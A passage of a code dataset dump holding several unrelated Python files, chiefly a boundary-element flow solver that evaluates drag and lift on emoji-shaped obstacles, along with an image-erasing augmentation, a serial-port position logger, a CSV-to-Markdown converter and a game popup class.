RandomEraser augmentation.\n\n You should probably use the augmentation factory or Discolight\n library interface to construct augmentations. Only invoke\n this constructor directly if you know what you are doing.\n \"\"\"\n super().__init__()\n self.x_min = x_min\n self.y_min = y_min\n self.x_max = x_max\n self.y_max = y_max\n\n @staticmethod\n def params():\n \"\"\"Return a Params object describing constructor parameters.\"\"\"\n return Params().add(\"x_min\", \"\", float,\n 0).add(\"y_min\", \"\", float,\n 0).add(\"x_max\", \"\", float,\n -1).add(\"y_max\", \"\", float, -1)\n\n def augment_img(self, img, _bboxes):\n \"\"\"Augment an image.\"\"\"\n width, height, _ = img.shape[1], img.shape[0], img.shape[2]\n self.x_max = self.x_max if self.x_max >= 0 else width\n self.y_max = self.y_max if self.y_max >= 0 else height\n\n x_min, x_max = 1, 0 # force invalid coordinates\n while x_min >= x_max:\n x_min = int(random.uniform(self.x_min, self.x_max))\n x_max = int(random.uniform(self.x_min, self.x_max))\n\n y_min, y_max = 1, 0 # force invalid coordinates\n while y_min >= y_max:\n y_min = int(random.uniform(self.y_min, self.y_max))\n y_max = int(random.uniform(self.y_min, self.y_max))\n\n # here must be int, because if not img[eraser_width etc]\n # does not take in float or decimals.\n eraser_width = int(x_max - x_min)\n eraser_height = int(y_max - y_min)\n\n # Iterate and Apply Eraser\n for row_idx in range(y_min, y_min + eraser_height):\n for col_idx in range(x_min, x_min + eraser_width):\n img[row_idx, col_idx] = [\n random.uniform(0, 255),\n random.uniform(0, 255),\n random.uniform(0, 255),\n ]\n return img\n","sub_path":"src/discolight/augmentations/randomeraser.py","file_name":"randomeraser.py","file_ext":"py","file_size_in_byte":2466,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"507697211","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport cupy\n# from mpl_toolkits.mplot3d import Axes3D\nimport matplotlib\nimport scipy as sp\nfrom emojipy import Emoji\nimport imageio\n\n\n\n###############################################################################\n# This is a 2D computational fluid dynamics solver implementing a simple #\n# Navier-Stokes metho̧d. To interface, simpl̷y input two arr̉̈́̌͋́̊ͮays of the o̗̳͉̗̲͚͂ͅb̰̖̝͚stacle #\n# in counterclo̢͘ckwise dir̷̴҉e̵c̵̨͠tions. T҉͞h̶͜e solver does̴ its pers̡̕͘onal̸ best t̤̰̤̤͎o͓̙̻̳̫̠͉͙ find #\n# a̺̤̼̻̬ ̘̰̱̜̖̦̬͎s̭̙̠o̥̜l̬̥͚̲͎u͙̹̬̩̘̬t͓͍̙͖̬ͅio͎n̻ to flow around the o͎̰̦̘͖̦ͅb̬̗͇̭̹s͔̼̹̹t̯̭̥̭͓̼̼ͅacle. C̀ò̆ͤd̑͋̈́̉̊ͭ̑ĕͭͩ̾͗ derived frő̈ͫ̚m PyCFD e̞̱̯̻͈̺x̯̤̰͈a͕̳m͓̞̻͖̰p̣̘̬͇̻̳̤̺l̠̘̻e̯̭͖̩̰̤͎̗ͅs͇̙̹͖ and #\n# t̰̣̖̩̬͛̒͂̉͋̔͌̒̚h͙̠̹͈̻̱͕̅͗̓̔̂ͩ̚e ̜̻͚̲ͯ̽ͩ̊ͫd̫̊͆̌̀̐̃ḁ̤̤̗͌̔̇̾r̙ͥ͒̔ͮ̆̈́̈̉̚k ̗̜͓̖̠̎̾ͮl̩̠̬͎̫̺̜̥̍͑or̲̮̜͙̭͌ͅd hih͉̞̣̱̥̫ͪ̎ͤ̑ͧȉ̗̦̳͇̼̦̯ͨ̿̋ͩ̑̾m̥̬͉̦͈͔̾̆̌ͦͦͨ̆ͅs̟͙̭͔͕ͧ̓ͬ̈̃͑e̜͖̤̫̣͌ͥ̓̚l͓̺̳̞͚ͨ̄̀͊̌̊̒f̺͕̮̰̤̋ͩ͑ͩͤͨͪ̈̑. B͡҉ew̴a̴r͟͟e a͜҉;l̶̛l m̆̋̃̐o̸̎̀͢rͤ̑ͬ̌ͣ͑͜͟t̵̏ͤ͛̋ͮ̚͠al̶̪̼̠͎̜̘̙̭͋̃̆͂ͫͥͬ͡ s̴̶̻̹̗̮̬̥͉̭̉ͮͬ͗̃̒ͭô̴͓̯͑̍ͧ̂͌̀̚u̥̥͔͖̪̝͚͕̔ͪ̃ͬ̓l̺͍̈́̿͡ wͬ͐̽̉̌̈҉̷̖͉͡ḩ̣͍͂o̵̟͈̲̠͙͎̪͖̎̂ͥͫ̈́͛̆ ̝̣͍̘͈̈́̅͠e̗̦̦̠͖͓̒̈́ͮ̈́ͥ̑͒ͩ͟nͣͮ̆ͨ̃ͩ͐͋ͬ͡͏̩̗̟̟t̠̞̫̤̘̪͓̙̫̽͑ę͎͎̜͉̰̔ͭr̹̞̣̓̆̐ͤ̐̒̀̏̕ ț̝͖̤͇̩̙͚͉͔̭̪͕͇͆ͥͫ̿ͥ̑͒̐̂͋͆͊ͬ̋ͦͮ̈̓̀͘ͅḩ̢̛́ͦ̎̓̐̂ͧ͛̚͏͉̝͔͇̣̞̹̝̱͚̭̟͇̱̳î̴͈̼̞͚̰̜̫͔͉̱̲̤̫͔̠̻͑̔͆̊ͥͯ̏̀ͅs̸̮̭͙͚̝̪̬̭̗͇̼̩̱̹̭̹ͫ́̑̎̆̊ͧͤͦͅͅͅ ̧̨̨͎̗̖͕͚͔̟̳̬̤̰̿̈ͪ̎̔ͯ͌ͬ̚r͓͉̤̝̘̲͓̳̱̖͒͐͛͊̃͒̎̆̏ͬͦͧ̏͒͢͡͞ͅe̶̵̹̼̮͚̹̳̲̦̦̞̪͌͒ͦͯͦ͂̓̿͑̇ͬ͢͜͠a̾̓̋ͦ͋ͣ̈͋ͬ̄͒̋́̾̂̅͒͢͜҉̖̠͔̝̰̙̩̜͚̳̼͈l̷͉̫̠͍̯̈́̍̌̆ͪ̄̽͋͂̐ͬ͆ͥ̌́͟m̴͔̹̜̥̱̦̫̘̮̭̻̖̰̖̦͎͓͎̫͆̔̾̂̿̽̓͊́̒̀͢͡ #\n###############################################################################\n\nemojis = [\n '🐔',\n '🐄',\n '🐐',\n '🐖',\n '🐑',\n '🐟'\n]\n\ndef emoji2cfd(emoji, emoji_width = 1):\n '''\n Converts the inputted emoji to numpy array and feeds it into image2cdf.\n The emoji_width parameter helps scale the emoji properly for the cfd solver\n\n '''\n\n emoji_img_item = Emoji.to_image(emoji)\n start = a.find(\"src=\")\n link = a[start+5: -3]\n im = imageio.imread(link)\n\n\ndef emoji2image(emoji):\n a = Emoji.to_image(emoji)\n url = a[a.find(\"src=\")+5:a.find(\"/>\")-1]\n image = imageio.imread(url)\n return image\n\nimport cv2\ndef img2contour(img):\n img = cv2.cvtColor(img, cv2.COLOR_BGR2HLS)\n img = cv2.inRange(img, (1, 0, 0), (180, 255, 255))\n mode = cv2.RETR_EXTERNAL\n method = cv2.CHAIN_APPROX_SIMPLE\n contours, hierarchy = cv2.findContours(img, mode=mode, method=method)\n #print(contours[0])\n #while True:\n # cv2.imshow('e', img)\n # if cv2.waitKey(0) & 0xFF == ord('q'):\n # break\n #cv2.destroyAllWindows()\n return contours\n\n\ndef gen_shapes():\n x = np.array([1.00000, 0.95041, 0.90067, 0.80097, 0.70102, 0.60085,\n 0.50049, 0.40000, 0.29875, 0.24814, 0.19761, 0.14722,\n 0.09710, 0.07217, 0.04742, 0.02297, 0.01098, 0.00000,\n 0.01402, 0.02703, 0.05258, 0.07783, 0.10290, 0.15278,\n 0.20239, 0.25186, 0.30125, 0.40000, 0.49951, 0.59915,\n 0.69898, 0.79903, 0.89933, 0.94959, 1.00000, 1.00000])\n y = np.array([0.00105, 0.00990, 0.01816, 0.03296, 0.04551, 0.05580,\n 0.06356, 0.06837, 0.06875, 0.06668, 0.06276, 0.05665,\n 0.04766, 0.04169, 0.03420, 0.02411, 0.01694, 0.00000,\n -0.01448, -0.01927, -0.02482, -0.02809, -0.03016, -0.03227,\n -0.03276, -0.03230, -0.03125, -0.02837, -0.02468, -0.02024,\n -0.01551, -0.01074, -0.00594, -0.00352, -0.00105, 0.00105])\n\n x_1 = np.linspace(0, 1, 50)\n x_2 = np.linspace(1, 1, 50)\n x_3 = np.linspace(1, 0, 50)\n x_4 = np.linspace(0, 0, 50)\n\n y_1 = np.linspace(0, 0, 50)\n y_2 = np.linspace(0, 1, 50)\n y_3 = np.linspace(1, 1, 50)\n y_4 = np.linspace(1, 0, 50)\n\n x_list2 = np.concatenate([x_1, x_2, x_3, x_4])\n y_list2 = np.concatenate([y_1, y_2, y_3, y_4])\n\n x, y = x_list2, y_list2\n #return np.array([0]), np.array([0]\n\n return x, y\n\ndef getPressure(xData, yData, scale, div=20, aoa=0, xShift=0, yShift=0, plot=False):\n xData = xData.copy()\n yData = yData.copy()\n\n # ===========================================================================\n # Calculation of geometric properties of boundary element segments\n # ===========================================================================\n def geometry(x_list, y_list, seg_list):\n Ns = int(np.sum(seg_list)) # total no. of segments\n Np = Ns + 1 # total no. of segment end-points\n\n lb = np.sqrt((x_list[1:] - x_list[:-1]) ** 2 + (y_list[1:] - y_list[:-1]) ** 2)\n\n # total no. of segments at the beginning of each boundary element\n seg_num = np.zeros(seg_list.size)\n for i in range(1, seg_list.size):\n seg_num[i] = seg_num[i - 1] + seg_list[i - 1]\n\n x = np.zeros(Np)\n y = np.zeros(Np)\n x[0] = x[-1] = x_list[0];\n y[0] = y[-1] = y_list[0]\n for i in range(seg_list.size):\n x[int(seg_num[i]):int(seg_num[i] + seg_list[i] + 1)] = np.linspace(x_list[i], x_list[i + 1], seg_list[i] + 1)\n y[int(seg_num[i]):int(seg_num[i] + seg_list[i] + 1)] = np.linspace(y_list[i], y_list[i + 1], seg_list[i] + 1)\n\n # mid-pt of segments\n xm = 0.5 * (x[1:] + x[:-1])\n ym = 0.5 * (y[1:] + y[:-1])\n\n # list of mid-pts by boundary element index\n xms, yms = [[0] * seg_list.size for i in range(2)] # sequence with 1 element for each segment\n for i in range(seg_list.size):\n xms[i] = np.array(xm[int(seg_num[i]):int(seg_num[i] + seg_list[i])])\n yms[i] = np.array(ym[int(seg_num[i]):int(seg_num[i] + seg_list[i])])\n\n # length of segments\n l = np.sqrt((x[1:] - x[:-1]) ** 2 + (y[1:] - y[:-1]) ** 2)\n\n # normal vectors\n ny = (x[:-1] - x[1:]) / l\n nx = (y[1:] - y[:-1]) / l\n return x, y, xm, ym, xms, yms, nx, ny, l, Ns, seg_num, lb\n\n\n # ===========================================================================\n # Setting boundary conditions for each segement of boundary element\n # ===========================================================================\n def setBC(bct, bcv, seg_list, seg_num):\n BCT, BCV = [np.zeros(Ns) for i in range(2)]\n for i in range(seg_list.size):\n BCT[int(seg_num[i]):int(seg_num[i] + seg_list[i])] = bct[i]\n BCV[int(seg_num[i]):int(seg_num[i] + seg_list[i])] = bcv[i]\n\n return BCT, BCV\n\n\n # ===========================================================================\n # Calculate integral coefficients F1 & F2 for a given array of points (x0,y0)\n # ===========================================================================\n from time import time\n\n\n def F1F2(x0, y0, x, y, l, nx, ny):\n t0 = time()\n k = int(Ns) # no. of segments\n s = x0.size # no. of points\n\n A, B, E, F1, F2 = [np.zeros((k, s)) for i in range(5)]\n k = np.arange(k)\n s = np.arange(s)\n K, S = np.meshgrid(k, s)\n\n t0 = time()\n f = np.square(l[K]).T\n A[K, :] = f\n # print(l)\n # print(K)\n # print(l[K])\n # print(round(time()-t0, 4)); t0=time()\n #print(l.shape)\n #print(K.shape)\n #print(A[K, :].shape)\n B[K, S] = 2 * l[K] * (-(x[K] - x0[S]) * ny[K] + (y[K] - y0[S]) * nx[K])\n E[K, S] = (x[K] - x0[S]) ** 2 + (y[K] - y0[S]) ** 2\n\n M = 4 * A * E - B ** 2\n D = 0.5 * B / A\n\n zero = 1e-10 # a very small number to take care of floating point errors\n # Jth point (x0[J],y0[J]) intersects the (extended) Ith line segment\n I, J = np.where(M < zero)\n # jth point (x0[j],y0[j]) does not intersect (extended) ith line segment\n i, j = np.where(M > zero)\n\n # for M = 0 (lim D->0 D*ln(D)=0 )\n # since the log function cannot handle log(0), 'zeros' have been added to log(D) -> log(D+zero)\n F1[I, J] = 0.5 * l[I] * (np.log(l[I]) \\\n + (1 + D[I, J]) * np.log(np.abs(1 + D[I, J]) + zero) \\\n - D[I, J] * np.log(np.abs(D[I, J] + zero)) - 1) / np.pi\n # for M > 0\n H = np.arctan((2 * A[i, j] + B[i, j]) / np.sqrt(M[i, j])) - np.arctan(B[i, j] / np.sqrt(M[i, j]))\n F1[i, j] = 0.25 * l[i] * (2 * (np.log(l[i]) - 1) \\\n - D[i, j] * np.log(np.abs(E[i, j] / A[i, j])) \\\n + (1 + D[i, j]) * np.log(np.abs(1 + 2 * D[i, j] + E[i, j] / A[i, j])) \\\n + H * np.sqrt(M[i, j]) / A[i, j]) / np.pi\n F2[i, j] = l[i] * (nx[i] * (x[i] - x0[j]) + ny[i] * (y[i] - y0[j])) * H / np.sqrt(M[i, j]) / np.pi\n\n return F1.T, F2.T\n\n\n # ===========================================================================\n # Build matrix system from F1 & F2 to find remaining BCs\n # ===========================================================================\n def pqBC(F1, F2, BCT, BCV):\n Ns = BCT.size\n F2x = F2 - 0.5 * np.eye(Ns)\n a, b = [np.zeros((Ns, Ns)) for i in range(2)]\n\n # phi is known - d(phi)/dn is unknown\n col_p = np.where(BCT == 0)\n a[:, col_p] = -F1[:, col_p]\n b[:, col_p] = -F2x[:, col_p]\n # d(phi)/dn is known - phi is unknown\n col_q = np.where(BCT == 1)\n a[:, col_q] = F2x[:, col_q]\n b[:, col_q] = F1[:, col_q]\n\n BCV2 = np.linalg.solve(a, np.dot(b, BCV))\n\n p = BCV2.copy()\n q = BCV2.copy()\n\n p[col_p] = BCV[col_p] # replace with known 'phi's\n q[col_q] = BCV[col_q] # replace with known 'd(phi)/dn's\n\n return p, q\n\n\n\n # +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n # GEOMETRY\n # +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n # (x,y) segment end-points\n # (xm, ym) segment mid-points\n # (xms,yms) segment mid-point grouped by boundary elements\n # (nx,ny) normal vector components centered at (xm,ym)\n # l segment lengths\n # Ns total no. of segments\n # seg_num total no. of segments at the end of each boundary element\n # lb length of boundary element\n\n # End-point coordinates of external rectangular domain (anti-clockwise / last pt = first pt)\n # x_list1 = np.array([-10.,50.,50.,-10.,-10.])\n # y_list1 = np.array([-20.,-20.,20,20,-20])\n x_list1 = np.array([-10., 50., 50., -10., -10.])/2\n y_list1 = np.array([-20., -20., 20, 20, -20])/2\n\n x_list1 -= np.average(x_list1)\n y_list1 -= np.average(y_list1)\n # No. of segments for each boundary element\n seg_list1 = np.array([40, 20, 40, 20])\n # Indices\n #inlet = 3 # inlet\n inlet = 3 # inlet\n outlet = 1 # outlet\n\n # Coordinates of airfoil (clockwise / last pt = first pt)\n #scale = 15\n transX = xShift\n transY = yShift\n #x_list2 = scale * np.array([1.00000, 0.95041, 0.90067, 0.80097, 0.70102, 0.60085,\n # 0.50049, 0.40000, 0.29875, 0.24814, 0.19761, 0.14722,\n # 0.09710, 0.07217, 0.04742, 0.02297, 0.01098, 0.00000,\n # 0.01402, 0.02703, 0.05258, 0.07783, 0.10290, 0.15278,\n # 0.20239, 0.25186, 0.30125, 0.40000, 0.49951, 0.59915,\n # 0.69898, 0.79903, 0.89933, 0.94959, 1.00000, 1.00000])[::-1] # clockwise\n #y_list2 = scale * np.array([0.00105, 0.00990, 0.01816, 0.03296, 0.04551, 0.05580,\n # 0.06356, 0.06837, 0.06875, 0.06668, 0.06276, 0.05665,\n # 0.04766, 0.04169, 0.03420, 0.02411, 0.01694, 0.00000,\n # -0.01448, -0.01927, -0.02482, -0.02809, -0.03016, -0.03227,\n # -0.03276, -0.03230, -0.03125, -0.02837, -0.02468, -0.02024,\n # -0.01551, -0.01074, -0.00594, -0.00352, -0.00105, 0.00105])[::-1] # clockwise\n\n #x_list2, y_list2 = gen_shapes()\n x_list2, y_list2 = xData, yData\n x_list2 = x_list2[::-1]\n y_list2 = y_list2[::-1]\n x_list2 *= scale\n y_list2 *= scale\n\n x_list2 -= np.average(x_list2)\n y_list2 -= np.average(y_list2)\n x_list2 += transX\n y_list2 += transY\n\n alpha = -aoa # angle of attack\n # alpha = 45 # angle of attack\n D2R = np.pi / 180\n ang = np.radians(alpha)\n rot = np.array([[np.cos(ang), -np.sin(ang)], [np.sin(ang), np.cos(ang)]])\n img = np.c_[x_list2, y_list2]\n #print(img)\n rotated = np.matmul(rot,img.T)\n x_list2 = rotated[0]\n y_list2 = rotated[1]\n #x_list2 -= np.average(x_list2)\n #y_list2 -= np.average(y_list2)\n\n #x_list2 -= (x_list2.max()-x_list2.min())/2\n #y_list2 -= (y_list2.max()-y_list2.min())/2\n\n #x_list2 = np.dot(np.c_[x_list2, y_list2], rot)[:, 0]\n #y_list2 = np.dot(np.c_[x_list2, y_list2], rot)[:, 1]\n Ns2 = x_list2.size - 1\n seg_list2 = np.ones(Ns2)\n\n projY = y_list2\n frontal_area = projY.max() - projY.min()\n #print(frontal_area)\n # +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n\n x1, y1, xm1, ym1, xms1, yms1, nx1, ny1, l1, Ns1, seg_num1, lb1 = geometry(x_list1, y_list1, seg_list1)\n x2, y2, xm2, ym2, xms2, yms2, nx2, ny2, l2, Ns2, seg_num2, lb2 = geometry(x_list2, y_list2, seg_list2)\n\n # Combining the internal & external boundaries\n x = np.append(x1[:-1], x2[:-1])\n y = np.append(y1[:-1], y2[:-1])\n xm = np.append(xm1, xm2)\n ym = np.append(ym1, ym2)\n l = np.append(l1, l2)\n nx = np.append(nx1, nx2)\n ny = np.append(ny1, ny2)\n Ns = Ns1 + Ns2\n seg_list = np.append(seg_list1, seg_list2)\n seg_num = np.zeros(seg_list.size)\n for i in range(1, seg_list.size):\n seg_num[i] = seg_num[i - 1] + seg_list[i - 1]\n\n if(plot):\n \tfig = plt.figure(figsize=(12, 12), dpi=100)\n \tfig.add_subplot(111, aspect='equal')\n \tplt.scatter(x, y, c=u'r', marker=u'o')\n \t# plt.scatter(xm,ym,c=u'g',marker=u'^')\n \t# plt.quiver(xm,ym,nx,ny)\n \tplt.title('Boundary, Segments & Normal Vectors')\n \tplt.show()\n\n # +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n # BOUNDARY CONDITIONS\n # +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n U = 5. # volume flow rate\n bct = np.ones(Ns) # sequence of boundary condition types: 0->p, 1->q\n bcv = np.zeros(Ns) # sequence of boundary condition values\n bcv[inlet] = -U / lb1[inlet]\n bcv[outlet] = U / lb1[outlet]\n # +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n\n BCT, BCV = setBC(bct, bcv, seg_list, seg_num)\n\n F1, F2 = F1F2(xm, ym, x, y, l, nx, ny) # obtaining F1 & F2 for segment mid-points\n p, q = pqBC(F1, F2, BCT, BCV) # solving for additional boundary conditions\n\n # Generating internal points (excludes boundary)\n xDim = 1\n yDim = 1\n mul = div\n Nx = xDim * mul;\n Ny = yDim * mul;\n # +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n\n X = np.linspace(x.min(), x.max(), Nx)\n Y = np.linspace(y.min(), y.max(), Ny)\n X, Y = np.meshgrid(X[1:-1], Y[1:-1])\n\n X = X.ravel();\n Y = Y.ravel()\n\n # Determines points within airfoil region by computing dot product [D] of\n # normal vectors and vectors from mid-points on airfoil surface to points\n # of interest. If all the dot products are positive, point of interest\n # lies within the airfoil. Also, removes points on the outside which are a\n # with a certain minimum distance [L] from the airfoil.\n D = np.zeros((X.size, xm2.size))\n L = np.zeros((X.size, xm2.size))\n I = []\n\n remove_dist = 1 # min dist from point to obstacle\n for i in range(X.size):\n for j in range(xm2.size):\n D[i, j] = (X[i] - xm2[j]) * nx2[j] + (Y[i] - ym2[j]) * ny2[j]\n L[i, j] = np.sqrt((X[i] - xm2[j]) ** 2 + (Y[i] - ym2[j]) ** 2)\n if ((D[i, :] > 0).all()):\n I.append(i)\n elif ((L[i, :] < remove_dist).any()):\n I.append(i)\n\n X_2 = X\n Y_2 = Y\n X = np.delete(X.ravel(), I)\n Y = np.delete(Y.ravel(), I)\n\n if plot:\n fig = plt.figure(figsize=(12, 12), dpi=100)\n fig.add_subplot(111, aspect='equal')\n plt.fill(x1, y1, fill=False, lw=3)\n plt.fill(x2, y2, fill=True, lw=3)\n plt.scatter(X, Y, c=u'b', marker=u'*')\n plt.title(r'Internal Points for Calculation of $\\phi$, $u$ & $v$')\n plt.show()\n\n # Calculate velocity (u,v) at internal grid points (X,Y)\n # ===========================================================================\n delta_x = delta_y = 0.05\n F1, F2 = F1F2(X + delta_x, Y, x, y, l, nx, ny)\n phi_x_plus = (np.dot(F2, p) - np.dot(F1, q))\n F1, F2 = F1F2(X - delta_x, Y, x, y, l, nx, ny)\n phi_x_minus = (np.dot(F2, p) - np.dot(F1, q))\n F1, F2 = F1F2(X, Y + delta_y, x, y, l, nx, ny)\n phi_y_plus = (np.dot(F2, p) - np.dot(F1, q))\n F1, F2 = F1F2(X, Y - delta_y, x, y, l, nx, ny)\n phi_y_minus = (np.dot(F2, p) - np.dot(F1, q))\n\n # Central difference to determine velocity\n u = 0.5 * (phi_x_plus - phi_x_minus) / delta_x\n v = 0.5 * (phi_y_plus - phi_y_minus) / delta_y\n\n P = -0.5*(u*u + v*v) # Bernoulli static pressure equation\n\n from scipy.interpolate import interp1d, griddata\n nx, ny = 100, 100\n pts = np.vstack((X, Y)).T\n vals = np.vstack((u, v)).T\n\n xi = np.linspace(x.min(), x.max(), nx)\n yi = np.linspace(y.min(), y.max(), ny)\n\n ipts = np.vstack(a.ravel() for a in np.meshgrid(yi, xi)[::-1]).T\n\n ivals = griddata(pts, vals, ipts, method='cubic')\n ui, vi = ivals.T\n ui.shape = vi.shape = (ny, nx)\n\n if plot:\n fig = plt.figure(figsize=(12, 12), dpi=100)\n fig.add_subplot(111, aspect='equal')\n plt.fill(x1, y1, fill=False, lw=3)\n plt.fill(x2, y2, fill=True, lw=3)\n plt.quiver(X[::3], Y[::3], u[::3], v[::3])\n plt.title('CFD')\n plt.show()\n speed = np.sqrt(ui*ui + vi*vi)\n #plt.streamplot(xi, yi, ui, vi, density=2.0)\n #plt.contourf(xi, yi, vi)\n pairs = []\n for i in range(len(X)):\n pairs.append([X[i], Y[i], P[i]])\n\n pairs = np.asarray(pairs)\n\n pFrontSum = 0\n pTopSum = 0\n pUnderSum = 0\n\n for i in pairs:\n X_l, Y_l, P_l = i\n if X_l < (x_list2.max() - x_list2.min())/2:\n # Point is in front of the object\n if y_list2.min() <= Y_l < y_list2.max():\n # Point is directly in front of the object\n pFrontSum += P_l\n\n if Y_l > (y_list2.max() - y_list2.min())/2:\n # Point is above object\n if x_list2.min() <= X_l <= x_list2.max():\n # Point is directly above object\n pTopSum += P_l\n else:\n # Point is below object\n if x_list2.min() <= X_l <= x_list2.max():\n # Point is directly above object\n pUnderSum += P_l\n\n #plt.contourf(X.reshape(Nx,Ny),Y.reshape(Nx,Ny),P,15,alpha=0.5)\n\n\n U_ideal = 0.2498653558682373\n V_ideal = 2.635814773584536e-12\n E_ideal = 0.2498660226708361\n\n dragArea = y_list2.max() - y_list2.min()\n liftArea = x_list2.max() - x_list2.min()\n\n U_actual = np.average(u)\n V_actual = np.average(v)\n E_actual = np.average(np.sqrt(u**2 + v**2))\n\n UDropPerArea = (U_ideal-U_actual)/dragArea\n VDropPerArea = (V_ideal-V_actual)/dragArea\n EDropPerArea = (E_ideal-E_actual)/dragArea\n\n #print(\"Average u\" , U_actual)\n #print(\"Average v\" , V_actual)\n #print(\"Average energy\" , E_ideal)\n #\n #print(\"Ideal u\" , U_ideal)\n #print(\"Ideal v\" , V_ideal)\n #print(\"Ideal energy\" , E_ideal)\n #\n #print(\"U drop per area\", UDropPerArea)\n #print(\"V drop per area\", VDropPerArea)\n #print(\"E drop per area\", EDropPerArea)\n #\n #print(\"Front pressure\", pFrontSum)\n #print(\"Top pressure\", pTopSum)\n #print(\"Bottom pressure\", pUnderSum)\n #print(\"Front pressure per area\", pFrontSum/dragArea)\n #print(\"Top pressure per area\", pTopSum/liftArea)\n #print(\"Bottom pressure per area\", pUnderSum/liftArea)\n #print(\"Top/bottom differential\", (pTopSum/liftArea)-(pUnderSum/liftArea))\n\n\n # Drag Force = Cd * rho * V^2 * A\n # ------------------\n # 2\n\n return pFrontSum/dragArea, (pTopSum/liftArea)-(pUnderSum/liftArea)\n\n # Avg U: 0.2498653558682373\n # Avg V: 2.635814773584536e-12\n # Avg energy: 0.2498660226708361\n\n\n #X, Y = np.meshgrid(X, Y)\n #plt.contourf(X, Y, u, 15, alpha=0.5)\n #plt.show()\n #plt.contourf(X, Y, v, 15, alpha=0.5)\n #plt.show()\n\n\nfrom multiprocessing import Pool\n\ndef eval_emoji(emoji, r=[180], plot=True):\n return eval_image(emoji2image(emoji), r=r, plot=plot)\n\ndef eval_image(image, r=[180], plot=True):\n contours = img2contour(image)\n contours = contours[0]\n contours = contours.reshape((contours.shape[0], contours.shape[-1]))\n contours = contours / contours.max()\n M = cv2.moments(contours)\n cx = int(M['m10']/M['m00'])\n cy = int(M['m01']/M['m00'])\n contours = [list(i) for i in contours]\n contours.append(contours[0])\n xList = [i[0] for i in contours]\n yList = [i[1] for i in contours]\n xList = np.asarray(xList)[::-1]\n yList = np.asarray(yList)[::-1]\n xList -= cx\n yList -= cy\n tmp = []\n for a in r:\n print(a)\n drag, lift = getPressure(xList, yList, scale=7.5, aoa=a, div=30, xShift=0, yShift=0, plot=True)\n tmp.append([a, drag, lift])\n return tmp\n\nif __name__ == '__main__':\n\n eval_emoji('🐖')\n\n #p = Pool(8)\n\n #data = p.map(eval_pool, emojis)\n\n #print(data)\n #for i in data:\n # print(i[0])\n # for j in i[1]:\n # print(\"\\t\", j[0], \":\")\n # print(\"\\t\\tcd:\", j[1])\n # print(\"\\t\\tcl:\", j[2])\n","sub_path":"cfd/.ipynb_checkpoints/cfd2-checkpoint.py","file_name":"cfd2-checkpoint.py","file_ext":"py","file_size_in_byte":22822,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"64691053","text":"#!/usr/bin/python\n\nimport serial\n\n# Beaglebone reads data from the Arduino Detector through USB\nserial_port = serial.Serial(port=\"/dev/ttyUSB0\", baudrate=9600, timeout=1)\n\nx_pos = 0\ny_pos = 0\n\nwith open(\"x.txt\", \"w\") as x, open(\"y.txt\", \"w\") as y:\n\n\tx.write(str(x_pos) + \",\")\n\ty.write(str(y_pos) + \",\")\n\n\twhile True:\n\n # If data is coming through\n\t\tif serial_port.isOpen():\n \n\t\t\tval = serial_port.read()\n\n # Read the data, increment the positions and write it to the output files\n\t\t\tif val == 'f' or val == 'b' or val == 'r' or val == 'l':\n\t\t\n\t\t\t\tif val == 'f':\n\t\t\t\t\ty_pos += 1\n\n\t\t\t\tif val == 'b':\n\t\t\t\t\ty_pos -= 1\n\t\t\n\t\t\t\tif val == 'r':\n\t\t\t\t\tx_pos += 1\n\n\t\t\t\tif val == 'l':\n\t\t\t\t\tx_pos -= 1\n\t\n\t\t\t\tx.write(str(x_pos) + \",\")\n\t\t\t\ty.write(str(y_pos) + \",\")\n\n \n","sub_path":"BeagleBone Black/trace_trajectory.py","file_name":"trace_trajectory.py","file_ext":"py","file_size_in_byte":773,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"417289410","text":"# -*- coding: utf-8 -*-\n\nimport csv\n\ncsv_path = r\"/home/himura/Documents/acc21-data.csv\"\nid_row = \"Номер\"\n\nwith open(csv_path, 'r', encoding='utf-8') as f:\n reader = csv.reader(f)\n head = reader.__next__()\n d = {row[head.index(id_row)]:\n {head[i]: row[i].strip() for i in range(len(head)) if i != head.index(id_row)} for row in reader}\n\ndef p(t):\n return t.replace('\\n', '\\n\\n')\n\nprint('# Волонтёрам\\n\\n')\n\nfor i in d:\n print(f\"### {i}. [{d[i]['Начало']}] {d[i]['Категория']}: {d[i]['Название']}\\n{p(d[i]['Помощь волонтёров'])}\\n\\n\")\n\n\nprint('# Светосценарии\\n\\n')\n\nfor i in d:\n print(f\"### {i}. [{d[i]['Начало']}] {d[i]['Категория']}: {d[i]['Название']}\\n{p(d[i]['Светосценарий'])}\\n\\n\")","sub_path":"etc/csv_to_md.py","file_name":"csv_to_md.py","file_ext":"py","file_size_in_byte":824,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"118618403","text":"import json\nfrom Animation import *\nfrom Utilities import *\n\nclass Popup: # This came out really well\n def __init__(self, paramsFile, player, canvasWidth, canvasHeight):\n self.canvasWidth = canvasWidth\n self.canvasHeight = canvasHeight\n self.readSaveFile(paramsFile) # I'll have different files for different popup windows throughout the game\n self.characterDisplay = Animation(str(player.attributes[\"gender\"]) + \"-LU\", 2, 10)\n self.player = player\n self.activePanel = \"\" # WIP\n \n def readSaveFile(self, filename): # Like in other files\n file = open(filename, \"r\")\n saveData = \" \".join(file.readlines())\n self.params = json.loads(saveData)\n file.close()\n \n def main(self): # Shows up in the middle of the screen. Occupied when trading or looking at a map, otherwise not there\n # Types of Main Panels:\n # Trading (t), Map (m)\n \n mainKey = self.params[\"main\"].split(\" \")\n \n if self.activePanel == \"main\":\n stroke(230)\n strokeWeight(7)\n fill(0, 0, 0, 200)\n else:\n fill(0, 0, 0, 150)\n stroke(200)\n strokeWeight(5)\n rect(self.canvasWidth/5, self.canvasHeight/15, self.canvasWidth*3/5, self.canvasHeight*3/5, self.canvasWidth/20)\n 